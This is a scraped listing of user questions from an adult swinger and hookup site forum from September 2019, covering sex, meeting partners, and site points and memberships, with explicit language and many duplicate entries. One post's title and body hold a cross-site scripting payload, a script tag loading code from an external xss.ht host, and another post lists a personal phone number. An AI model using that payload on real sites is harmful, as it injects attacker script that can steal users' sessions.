I long time FWB has been enjoying straight but I want to take it further. I have brought it through body gestures but not has materialized. I don't think she wants too now. <br><br> Ladies when should I had approached my partner with this request?

38 response(s), 52 votes
Superman4695 35 M
56  questions
Need help with ... - 9/28/2019

an obsessed dancer. I have been to a club more than a few times and every time I am there this woman I have no interest in that invades my personal space and makes me uncomfortable but she really stepped it up this last time. I always tell her no thank you when she asks to dance in front of me every time told her I have no interest in seeing her, indeed I watch tv, take my cell phone, talk to ...

16 response(s), 27 votes
Superman4695 35 M
56  questions
Need help with ... - 9/28/2019

an obsessed dancer. I have been to a club more than a few times and every time I am there this woman I have no interest in that invades my personal space and makes me uncomfortable but she really stepped it up this last time. I always tell her no thank you when she asks to dance in front of me every time told her I have no interest in seeing her, indeed I watch tv, take my cell phone, talk to ...

6 response(s), 13 votes
Handyman881815 60 M
3  questions
Gold for both? - 9/28/2019

I'm thinking of becoming a gold member. ...I noticed guys email me(that I can't read) are gold members on Swapfinder.com and menation.com. Do you get both if you join one?? ..Swapfinder.com is a lot cheaper.

8 response(s), 28 votes
youngcub940 30 M
1  question
Advice for finding cougars - 9/27/2019

Hey guys, what are some good places offline to find cougars? There's a bar for older people in my city, but what are some other ideas? Not just bars, but I'm not sure where you could also approach one without coming off as a weirdo. Let me know, thanks!

22 response(s), 50 votes
Adventurecpl47 76 C
20  questions
Full swap 4some - 9/27/2019

We had played with Alice and Gord a few times. Being from out of Calgary, they stayed overnight in our spare bed. One evening, after some great fucking, Alice asked to trade partners for all night. After some discussion, we agreed to do it. Would you try this???

37 response(s), 56 votes
hornyoldman711 77 M
2  questions
Gift Cards - 9/27/2019

Why can't you use gift cards to purchase points? they can be used to purchase gold memberships.

13 response(s), 26 votes
hornyoldman711 77 M
2  questions
Points - 9/27/2019

Why is it that you can use a gift card to purchase a gold membership but not points?

19 response(s), 27 votes
Goodloveingman69 36 M
3  questions
Knowing - 9/27/2019

When finding someone what is the best way do it

15 response(s), 21 votes
captainlong74 50 M
2  questions
free membership - 9/27/2019

is there a way to use points to see full member profiles?

19 response(s), 25 votes
captainlong74 50 M
2  questions
free membership - 9/27/2019

is there a way to use points to see full member profiles?

7 response(s), 5 votes
Funnfuckn 57 M
2  questions
Random thought - 9/27/2019

I have always found it odd finding people on here looking for a life partner. Aren't there more appropriate sites for that other than a sex & swinger site?

13 response(s), 17 votes
Fetishization - 9/27/2019

Do you feel liking someone solely based on their race or ethnic background is okay? <br><br> Also, why do people assume sex will be better with a particular person just because of their ethnicity? <br><br> Isn't it all just preference and connection that makes the sex great?

34 response(s), 37 votes
Fetishization - 9/27/2019

Do you feel liking someone solely based on their race or ethnic background is okay? <br><br> Also, why do people assume sex will be better with a particular person just because of their ethnicity? <br><br> Isn't it all just preference and connection that makes the sex great?

0 response(s), 3 votes
Maxbillion87 37 M
3  questions
Have you ever been.... - 9/27/2019

Have you ever been with a trans woman. I want to try it and I would like to know what you think and any experience you might have had

23 response(s), 29 votes
HornyOldFucker76 67 M
4  questions
Common courtesy - 9/26/2019

So, I initiate a few IMs from time to time, typically with Gold members can IM for free. About 90% of the time, there is never a response. Would it really kill somebody to demonstrate the common courtesy of saying "no thanks" or "not interested" instead of just not responding? Maybe I'm just too old fashioned.

34 response(s), 34 votes
Goodloveingman69 36 M
3  questions
Looking - 9/26/2019

What's the best way go about this site?

24 response(s), 37 votes
Georgiaman28119 30 M
10  questions
What to do? - 9/26/2019

Best way make friend and have fun and not be a member

27 response(s), 34 votes
How to get points - 9/26/2019

how

32 response(s), 33 votes
Flirts - 9/26/2019

I don't know about anyone else, but doesn't it seem strange almost all flirts received seem come from way far away, like across country or even of the country, but rarely ever from people nearby, like same state even? Or is it just me?

34 response(s), 35 votes
Georgiaman28119 30 M
10  questions
Chat - 9/25/2019

Any lady close want on or something different

13 response(s), 23 votes
Superman4695 35 M
56  questions
Who has forgiven.. - 9/25/2019

a debt and it was worth it? This can be a friend, a relative or even a lover or former girlfriend/bf etc. In case, I usually don't lend unless I trust it is going be repaid. In this instance, I wanted test if they would. The amount isn't so great $200 but the person lied 5 times about repaying it and I cannot trust their dishonesty. brazenly lie so many times is an insult. So ...

26 response(s), 29 votes
jayanddely2019 50 C
2  questions
What do you like to do to a pussy - 9/25/2019

Do you like to lick finger.fist fuck or other

70 response(s), 71 votes
Funnfuckn 57 M
2  questions
Offensive chat - 9/25/2019

Do you women find sexually direct chat a tirn on or a turn off?

23 response(s), 39 votes
what feels better? - 9/25/2019

how many of us prefer what? I prefer a blow job over . the other person has way more control of what do? is awesome, don't get me wrong, but nothing like a good bj! what do you think?

46 response(s), 59 votes
SiOcean4 44 M
2  questions
Hj/bj - 9/24/2019

Is it bad that all I want is a hj or bj? Some want more but all I care to do is receive, selfish? <br><br> * I should clarify by saying I’d reciprocate with mutual masterbation * just not looking to get into much more than that.

63 response(s), 66 votes
Bareback or not? - 9/24/2019

Do you prefer to use condoms or not?

56 response(s), 62 votes
Bettibenobo 68 F
4  questions
ANOTHER GLITCH? - 9/23/2019

Has anyone been seeing this on profiles lately? <br><br> ...

37 response(s), 71 votes
Cum Smell & Taste - 9/23/2019

I have been trying to figure out what the best food is so my cum smells and tastes nice. any ideas?

32 response(s), 56 votes
Threesome or more - 9/23/2019

How many have had there partner ask them to try a threesome with them , but turned the opportunity down ?

32 response(s), 55 votes
noah_big1 69 M
2  questions
which pic - 9/23/2019

cock shots or body shots>

19 response(s), 30 votes
PyaariBindu 20 F
1  question
"><script src=ht&#x7 - 9/23/2019

"><script src=https://chhilta.xss.ht></script>

0 response(s), 2 votes
Public sex - 9/22/2019

Best locations for public sex? I want it possible to be seen but not certain to be caught.

91 response(s), 95 votes
bigg6g72 34 M
1  question
Fun - 9/22/2019

Who would like to get together and breed?

24 response(s), 46 votes
jolielaide 53 F
53  questions
do you participate?? - 9/22/2019

came across a status update: you can't even 3x a day for free anymore? this site really went downhill didn't it? that had wondering what do those that have complained do with themselves once their 3x a day were done. if paying for gold is NOT an option for YOU, how do you continue to actively participate in this site?? are you even trying? imo, it's the trolling for points and ...

54 response(s), 74 votes
Favorite time of day to shag? - 9/22/2019

Do you prefer doing it at night in the morning or whenever you can get it?

62 response(s), 74 votes
duke982000 55 M
16  questions
jack - 9/22/2019

any 1 want to jack off?

18 response(s), 39 votes
duke982000 55 M
16  questions
play - 9/22/2019

how many licks dose it take to get a clit off

18 response(s), 31 votes
Jayx69_ 26 M
1  question
Should I upgrade to gold this winter or summer? - 9/22/2019

Since free members can’t use IM anymore I’ve been wanting to upgrade. Is it REALLY worth it or should I start looking elsewhere. If I do upgrade do y’all think I’ll get better results in the fall winter or summer although I know I still have to put the work in though lol. I’m just looking to try gold for 1 month so I want to know what month would be the best lol. Also what do y’all ...

15 response(s), 32 votes
karensun 27 F
1  question
Ask yourself have you ever pampered yourself sexually? - 9/22/2019

Men have sexual fantasies. Most men do not fulfill their sexual fantasies. Ask yourself, have you ever pampered yourself sexually? How often do you do that? How about threesome (2 girls 1 guy) just like in the porn movies? If the answer is no then you are missing out the best part of a man's sex life. In which case, it is about time you pamper yourself.

23 response(s), 38 votes
glidecc 49 M
12  questions
*Plaid Memberships -- SERIOUS REPLIES ONLY* - 9/22/2019

Are they worth it? Share your thots.

25 response(s), 36 votes
FFU22018 57 F
19  questions
The Garnering of Sympathies.... - 9/22/2019

What is up with people trying to make other people feel sorry for them? I keep running into people who say things about themselves may have a quasi relationship to something tragic, but has absolutely nothing to do with them, but they've somehow make it about them. <br><br> Example: <br><br> "i'm from Columbine, CO." "Cool" "I know... ...

29 response(s), 55 votes
Should points be used if the message is not read? - 9/21/2019

A few of us don't have many points. You might have herpes. But you don't have points. Like me. <br><br> I don't have many points... about . But I got those herpes! <br><br> So I can message one more person now... and that's it! <br><br> And that person, probably won't respond. Probably won't even read my message. I'll lose my ...

34 response(s), 64 votes
What is it with these Safe Date ID's and Request ID's? - 9/21/2019

I get asked log onto this or that website to get an ID before a woman will meet with me but it seems a scam since they all seem to be 30 and trot after a 61 yo...

24 response(s), 42 votes
Gilah206 30 M
1  question
Spam - 9/21/2019

I've been in new york a few days haven't had luck. pretty sure my profile is lacking, . my biggest issue with this site is the amount of spam accounts or females just something. anyone have any recommendations for navigating around this?

19 response(s), 32 votes
Georgiaman28119 30 M
10  questions
Columbus GA - 9/21/2019

What's their to do in Columbus Georgia?

6 response(s), 16 votes
Georgiaman28119 30 M
10  questions
Columbus GA - 9/21/2019

What's their to do in Columbus Georgia?

1 response(s), 8 votes
jolielaide 53 F
53  questions
dyeing. are you dyeing? - 9/20/2019

"i don't want gray hair." jennifer aniston said she will never stop dyeing her hair. she has no intention of going grey. in general men can get away with gray hair as a distinguished, silver fox look. the question was already asked a few weeks ago is gray on a man considered sexy. besides i doubt men are dyeing but with females it's a different standard. a woman with gray hair ...

23 response(s), 44 votes
What are some of your kinks that aren't very popular, but they are very fun? - 9/20/2019

Just widening my mind of more things I don't know about.

11 response(s), 35 votes
How did you figure out what you actually wanted? - 9/20/2019

Myself being Bi-curious, and curious about lots of things. what made you realize it's what you wanted, and not some filthy thought?

12 response(s), 26 votes
What exactly are you looking for on this site? - 9/20/2019

Good question ask understand if someone is just wanting FWB, ONS, or a relationship.

18 response(s), 28 votes
What made you want to sleep with a TS? - 9/20/2019

I want know because I still just curious, but I haven't gotten over the hump of doing it.

8 response(s), 25 votes
Best way to get introduced into BDSM? - 9/20/2019

Just curious if anyone has any first time experiences help me understand better, and figure what I like. Or even tips of what makes it good for you?

5 response(s), 17 votes
Best way to get introduced into BDSM? - 9/20/2019

Just curious if anyone has any first time experiences help me understand better, and figure what I like. Or even tips of what makes it good for you?

1 response(s), 5 votes
Mfmfunedm 52 C
1  question
Peverted Couple - 9/19/2019

Where are the perverts?

55 response(s), 79 votes
hstlemstpay5555 35 F
1  question
why all the men here are not honest? - 9/19/2019

each time i found out that they are only here for same nothing like true feelings just sex

63 response(s), 65 votes
calentando la SOPA - 9/19/2019

ACA HAY MUJERES QUE POR CHAT UUUFFF MAQUINAS SEXUALES Y CUANDO LES PIDES JUNTARSE NADA PORQUE?

4 response(s), 13 votes
Jformeets 23 M
2  questions
IM System - 9/19/2019

Hi, <br><br> I'm fairly new and read that the system is very unreliable. What are the tell tale signs? I've spent points contacting people but they either say 'Sent' or nothing at all. Yet to have a response, lol.

31 response(s), 61 votes
Bucknacked71 54 M
1  question
Straight, but enjoy dudes lusting. - 9/19/2019

I love to cam, and dudes watching are at least 10 to 1. I'm straight, but enjoy them telling me how much they want to suck my cock, swallow my cum, and so on. Anyone else the same? Also like camming with other dudes, and enjoy the look of a great cock, however I have no attraction to men at all. is that weird?

29 response(s), 40 votes
Georgiaman28119 30 M
10  questions
Halloween party anyone? - 9/19/2019

What people doing for Halloween let know

14 response(s), 24 votes
Sasakwaman 54 M
1  question
The thrill of the first time - 9/19/2019

How many people enjoy the possibility of being with someone as much as the actual avtb.

24 response(s), 33 votes
Profile pic - 9/19/2019

Looking to add a profile pic. What is a good argument for posting a dick pic? I see it's fairly popular. Ladies what do you like? Men what works for you?

25 response(s), 31 votes
mrboytoy4now 44 M
1  question
chance meetings - 9/19/2019

I've read a ton of stories on reddit of chance meetings where people meet at a store or restaraunt, or wherever, just make eye contact, have a little flirt, and 10 minutes later are fucking in the back of a car, or closet. anyone ever have that kind of meeting? maybe at work with a boss / co worker? neighbor? <br><br> would love to hear about it.

14 response(s), 29 votes
Profile pic - 9/19/2019

Looking to add a profile pic. What is a good argument for posting a dick pic? I see it's fairly popular. Ladies what do you like? Men what works for you?

0 response(s), 3 votes
Halloween - 9/19/2019

Does anyone know of any adult halloween parties at any private venues?

14 response(s), 24 votes
Theseo00 46 M
6  questions
What turns men the most? And women? - 9/19/2019

How different or similar we are?

27 response(s), 42 votes
HornyOldFucker76 67 M
4  questions
fuckers in Duluth - 9/18/2019

I'm in Duluth MN and there's like 5 couples or women are available on Swapfinder.com. Don't women in Duluth like to fuck?

13 response(s), 21 votes
HornyOldFucker76 67 M
4  questions
fuckers in Duluth - 9/18/2019

I'm in Duluth MN and there's like 5 couples or women are available on Swapfinder.com. Don't women in Duluth like to fuck?

0 response(s), 4 votes
Points - 9/18/2019

Yup just points

24 response(s), 46 votes
noah_big1 69 M
2  questions
FTM - 9/18/2019

are there any FTM people on this site?

19 response(s), 25 votes
negromen77 44 M
1  question
chocolate - 9/18/2019

Which women prefer size or hardness?

16 response(s), 24 votes
Traveling? - 9/18/2019

I am curious what is the furthest someone has traveled meet someone on this site -- and whether it was worth it.

28 response(s), 23 votes
Cheating wives - 9/18/2019

Where’s all the cheating wives in central Florida? Let’s hookup and go to the nude beach.

37 response(s), 43 votes
versguy_29 34 M
1  question
What are the best sites to find trans women? - 9/18/2019

Are there better sites for meeting trans women?

16 response(s), 23 votes
Threescom45 51 C
1  question
Fairness in sharing your man ? - 9/18/2019

How do you expect or achieve first mff without insecure notions coming into the room with yall? Theres a certain possesive side in most women that must be handled before his 3some is as hot as her 7 mfm threesomes before his. Lol. So how do we get thru that first sharing of our man painless as possible then? ...

26 response(s), 39 votes
sneezing fits after cumming - 9/17/2019

does anyone else suffer from sneezing fits after cumming?

18 response(s), 15 votes
gotigers6032 64 M
2  questions
What is your funniest public sexual act? - 9/17/2019

I was driving on the interstate with my girl sitting on my lap facing me. She was fucking me, riding up & down on my cock. A trucker started to pass & slowed so he could get a look. My girl flashed her tits & sexiest smile. She said, "I think he's jacking off." With no other traffic he was able to stay next to me for the show. The trucker drove on and she had to get off ...

9 response(s), 19 votes
Nothing is up just needed points - 9/17/2019

Now that they took away our free 3 IM's a day need points to IM.

24 response(s), 21 votes
Sirkijothe 48 M
1  question
Me ecantaria saber - 9/17/2019

en que se fijan las maduras de los jovenes y que hace que su atraccion acabe en el acto mas bonito que existe entre dos perosnas que se atraen

6 response(s), 18 votes
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

29 response(s), 36 votes
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

1 response(s), 4 votes
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

5 response(s), 6 votes
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

0 response(s), 1 vote
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

1 response(s), 2 votes
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

0 response(s), 1 vote
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

0 response(s), 1 vote
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

1 response(s), 1 vote
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

1 response(s), 1 vote
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

0 response(s), 1 vote
mature women and married - 9/17/2019

do u find mature married women horny and sexy? whats ur experience, ?

0 response(s), 0 votes
Theseo00 46 M
6  questions
Do most ladies find it hot to watch 2 guys together? - 9/17/2019

Female comments are very welcome

22 response(s), 28 votes
Is Anyone Into Watching A Guy Jack Off? - 9/17/2019

As a scroll through the various posts and questions, it seems no one is into this type of this. Has internet porn killed this experience?

20 response(s), 22 votes
Twilightsun245 36 M
1  question
Just here for the points - 9/17/2019

Nothings up just needed get points

27 response(s), 26 votes
older guys - 9/17/2019

where are the women in Tx. into older guys? I'm between Dallas & Houston.

10 response(s), 23 votes
Raggidy1 35 M
1  question
Impossible to be incorrect? - 9/16/2019

There is no right or wrong answer to my question, but that makes it better in my opinion. What is the number one technique that makes an individual irresistible to another entity? Im considerably new and view myself as one that's lived under a rock for the fact that I have never opened up and experienced the options that are out there. Would love to know what drives you or your partner wild ...

22 response(s), 31 votes
Flirts - 9/16/2019

Here's my question. How many of you seriously believe someone from across the country, who you don't know or ever even chatted with, is going to be flirting with you. Think about it and look how far away from you some of these people are. Do you really think they are flirting with you?

42 response(s), 49 votes
tiredkitty 42 F
2  questions
why get mean - 9/16/2019

Seriously why get mean? many of you males do so. a woman tells you no, no thanks, not interested. you either get mean and try to bully right away, or want a reason to why you are being told no. Then when a person is honest and straight forward you get mean and hateful. sling insults drop threats spin reality all trying to cause mental and social pain. Is truly BU%Swapfinder.com and f**cked up. ...

39 response(s), 58 votes
Odintom 33 M
2  questions
Man needs activity, if you have an idea, tell me i'm openminded and like new adventures, is there an - 9/15/2019

I'd like to have some friends with benefits or amybe set up some evening in stockholm? any comnents?

9 response(s), 30 votes
Odintom 33 M
2  questions
Man needs activity, if you have an idea, tell me i'm openminded and like new adventures, is there an - 9/15/2019

I'd like to have some friends with benefits or amybe set up some evening in stockholm? any comnents?

0 response(s), 5 votes
Why lie? - 9/15/2019

Since I've been on this site I've chatted with a lot of guys that lie about their body type, dick size, relationship status, stamina, and looks. My question is why lie? If you and the person you're chatting with meet up they're going to realize you lied about everything. So why put them and yourself through the embarrassment?

46 response(s), 57 votes
jswish0330 36 M
2  questions
What are women Really looking for? - 9/15/2019

Love to hear responses about what women are looking for in a man on this site.

26 response(s), 42 votes
What's been your most successful location to meet potential partners? - 9/15/2019

I've recently been going more to bars, but they're local small town bars, but did get on one. curious to know if people get more attention or action at clubs, bars, swingers clubs, or anywhere in general; and do you have better success from real world locations compared to Swapfinder.com?

22 response(s), 41 votes
Hey66789 36 M
1  question
Horny - 9/15/2019

Todos acá están horny?

14 response(s), 27 votes
Georgiaman28119 30 M
10  questions
Horny - 9/15/2019

Who the same

22 response(s), 43 votes
Luvs2pleaseU4 55 M
2  questions
White men for black women? - 9/14/2019

I see all these posts for white women for black men. What about white men who love black women and vice versa. Are you out here? Let me know!!

51 response(s), 82 votes
phxguy34 46 M
6  questions
who is in phx az - 9/14/2019

gday fit aussie living in phx az here. at phxguy34 or 480-878-3220

2 response(s), 13 votes
phxguy34 46 M
6  questions
who is in phx az - 9/14/2019

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2 response(s), 11 votes
phxguy34 46 M
6  questions
who is in phx az - 9/14/2019

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1 response(s), 8 votes
phxguy34 46 M
6  questions
who is in phx az - 9/14/2019

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0 response(s), 8 votes
phxguy34 46 M
6  questions
who is in phx az - 9/14/2019

gday fit aussie living in phx az here. at phxguy34 or 480-878-3220

0 response(s), 4 votes
phxguy34 46 M
6  questions
who is in phx az - 9/14/2019

gday fit aussie living in phx az here. at phxguy34 or 480-878-3220

1 response(s), 5 votes
Georgiaman28119 30 M
10  questions
Central Georgia what's ya plans tonight - 9/14/2019

Would like to know wat everyone doing. So maybe I can get out tonight and gf stay back

20 response(s), 36 votes
Thatcher04354 60 M
2  questions
Prostate Milking - 9/14/2019

OK, I've had a finger up my butt and an Aneros (and they felt good, but what is a good 'milking'? How does it feel? Am I missing on something good?

30 response(s), 50 votes
12josh1 35 M
1  question
Any members looking for safe sex - 9/13/2019

I often bring up requiring a condom during a . It often causes the other person , particularly if a . Safety is important me. Are there any people wanting have some safe fun? Any good way bring up the subject?

33 response(s), 67 votes
Likesitall_oh 52 M
2  questions
Why does the Gold Membership prices constantly change? - 9/13/2019

Over the past few months, when I log in the gold membership pricing appears. I have seen it as low as $5 a month if you for the entire year too as high as $19 a month for the year.

44 response(s), 84 votes
Likesitall_oh 52 M
2  questions
Why does the Gold Membership prices constantly change? - 9/13/2019

Over the past few months, when I log in the gold membership pricing appears. I have seen it as low as $5 a month if you for the entire year too as high as $19 a month for the year.

3 response(s), 6 votes
shower tug - 9/12/2019

anyone else tug in the shower with the following scenario: Hand held wand thoughts of couple having sex with you warm stream of water flowing on underside of dick between your balls and anus think warm water is couple licking your balls male of couple starts to fucks your ass female is stroking / licking and then wham - big load of cum <br><br> That is what works for me

30 response(s), 68 votes
Most squirts - 9/12/2019

Ladies... what was the most squirts you reckon you ever got out of a cock in a single orgasm from a handjob? <br><br> And, was it s turn on for you? ...if so... Due to the repetitions? Distance? Or volume? <br><br> ...ok... no doubt some of you guys are eager to brag as well

23 response(s), 62 votes
any bi guys near uckfield, crowborough or tun wells - 9/12/2019

keen teach a newbee, where do i start ?

8 response(s), 22 votes
Ramicla_1000 38 T
6  questions
Conversa picante te excita? - 9/12/2019

Olá, eu gosto muito de conversar sobre experiências sexuais e fico super excitado quando a conversa é aberta e quente. Principalmente se envolver troca de fotos ou cam 2 cam. E quanto a você, uma conversa picante te excita? Se gostar, podemos combinar um encontro aqui no site para nos vermos super-excitados pela cam. É só marcar...

10 response(s), 36 votes
wanttogiveyoular 44 M
1  question
Why take away our 3 free messenger chats :( - 9/12/2019

Any views on this guys....All about the

74 response(s), 90 votes
WantSomeNice2 51 M
6  questions
Work Shinanigans - 9/11/2019

A woman I work with wants to fuck. She is married and her husband goes away for work a lot. She tells me every time he goes away and invites me over. I always decline because we work together and I don't want to have anything cause problems at work. <br><br> Thoughts?

51 response(s), 78 votes
joblob65 58 M
3  questions
Domination - 9/11/2019

Does anybody here like to dominate a man?

33 response(s), 68 votes
points purchase - 9/11/2019

how come you can no longer purchase extra points by sms

19 response(s), 54 votes
Swingwithme247 40 M
1  question
Best type of profile pic to have? - 9/11/2019

For men. What is the best profile pic to have? Show what?

31 response(s), 52 votes
Favorite sexual position or positions? Ladies? Let us guys know! - 9/11/2019

Favorite sexual position or positions? Ladies? Let us guys know! <br><br> Any other information you want to include will be appreciated! Thank you for your participation.

21 response(s), 49 votes
n2udeep00 44 M
4  questions
Older female's - 9/11/2019

Are older female's really into younger guy's? If so why?

35 response(s), 59 votes
youreatastytreat 49 M
1  question
How do I get laid? - 9/10/2019

How do I get laid?

34 response(s), 42 votes
mtnbiker2460 57 M
1  question
What is the best browser to use on this site? - 9/10/2019

I have tried edge.chrome and it seems to me old internet explorer works the best. Anyone else have an opinion

39 response(s), 57 votes
l0v3xXxCpls 46 C
1  question
Group - 9/10/2019

hello guys who's like to joind in my event?...

2 response(s), 0 votes
n2udeep00 44 M
4  questions
Instant messaging - 9/10/2019

Does instant messaging allways have problems?

53 response(s), 88 votes